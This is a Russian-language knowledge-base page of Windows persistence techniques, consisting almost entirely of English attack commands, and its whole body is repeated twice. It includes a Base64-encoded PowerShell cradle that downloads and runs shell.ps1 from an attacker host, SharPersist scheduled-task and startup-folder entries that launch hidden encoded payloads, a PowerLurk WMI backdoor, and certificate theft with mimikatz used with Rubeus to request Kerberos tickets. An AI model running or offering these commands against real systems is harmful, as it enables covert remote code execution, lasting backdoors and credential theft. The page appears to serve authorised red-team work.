База знаний

Закрепление: Windows

:::tip Формат страницы

Порядок действий описан по‑русски. В методике сохранены заголовки (частично локализованы типовые термины), таблицы, иллюстрации и блоки кода: команды и параметры на английском, без перевода синтаксиса.

:::

Порядок действий

1. Зафиксируйте текущие привилегии и политику целевой системы.
2. Выберите вектор из раздела с учётом риска для стабильности ОС.
3. После проверки откатите изменения, если это предусмотрено соглашением.
4. Команды — справочно, на английском.

Методика

Encoding commands

$str = 'IEX ((new-object net.webclient).downloadstring("http://<ATTACKER_IP>/shell.ps1"))'
[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($str))

str='IEX ((new-object net.webclient).downloadstring("http://<ATTACKER_IP>/shell.ps1"))'
echo -en $str | iconv -t UTF-16LE | base64 -w 0

Task Scheduler

.SharPersist.exe -t schtask -c "C:WindowsSystem32WindowsPowerShellv1.0powershell.exe" -a "-nop -w hidden -enc <ENCODED_PAYLOAD>" -n "Updater" -m add -o hourly

StartUp Folder

SharPersist.exe -t startupfolder -c "C:WindowsSystem32WindowsPowerShellv1.0powershell.exe" -a "-nop -w hidden -enc <ENCODED_PAYLOAD>" -f "UserEnvSetup" -m add

WMI

Import-Module .PowerLurk.ps1
Register-MaliciousWmiEvent -EventName WmiBackdoor -PermanentCommand "C:Windowsdns_x64.exe" -Trigger ProcessStart -ProcessName notepad.exe

Certificates

User

.Seatbelt.exe Certificates

.mimikatz.exe "crypto::certificates /export" "exit"

cat <CERTIFICATE>.pfx | base64 -w 0

.Rubeus.exe asktgt /password:mimikatz /nowrap /user:nlamb [/enctype:aes256] /certificate:<BASE64_CERT>

Computer

.mimikatz.exe "crypto::capi" "crypto::certificates /systemstore:local_machine /export" "exit"

cat <CERTIFICATE>.pfx | base64 -w 0

.Rubeus.exe asktgt /user:<HOSTNAME>$ /enctype:aes256 /password:mimikatz /nowrap /certificate:<BASE64_CERT> 

Task Scheduler

.SharPersist.exe -t schtask -c "C:WindowsSystem32WindowsPowerShellv1.0powershell.exe" -a "-nop -w hidden -enc <ENCODED_PAYLOAD>" -n "Updater" -m add -o hourly

StartUp Folder

SharPersist.exe -t startupfolder -c "C:WindowsSystem32WindowsPowerShellv1.0powershell.exe" -a "-nop -w hidden -enc <ENCODED_PAYLOAD>" -f "UserEnvSetup" -m add

WMI

Import-Module .PowerLurk.ps1
Register-MaliciousWmiEvent -EventName WmiBackdoor -PermanentCommand "C:Windowsdns_x64.exe" -Trigger ProcessStart -ProcessName notepad.exe

Certificates

User

.Seatbelt.exe Certificates

.mimikatz.exe "crypto::certificates /export" "exit"

cat <CERTIFICATE>.pfx | base64 -w 0

.Rubeus.exe asktgt /password:mimikatz /nowrap /user:nlamb [/enctype:aes256] /certificate:<BASE64_CERT>

Computer

.mimikatz.exe "crypto::capi" "crypto::certificates /systemstore:local_machine /export" "exit"

cat <CERTIFICATE>.pfx | base64 -w 0

.Rubeus.exe asktgt /user:<HOSTNAME>$ /enctype:aes256 /password:mimikatz /nowrap /certificate:<BASE64_CERT> 

—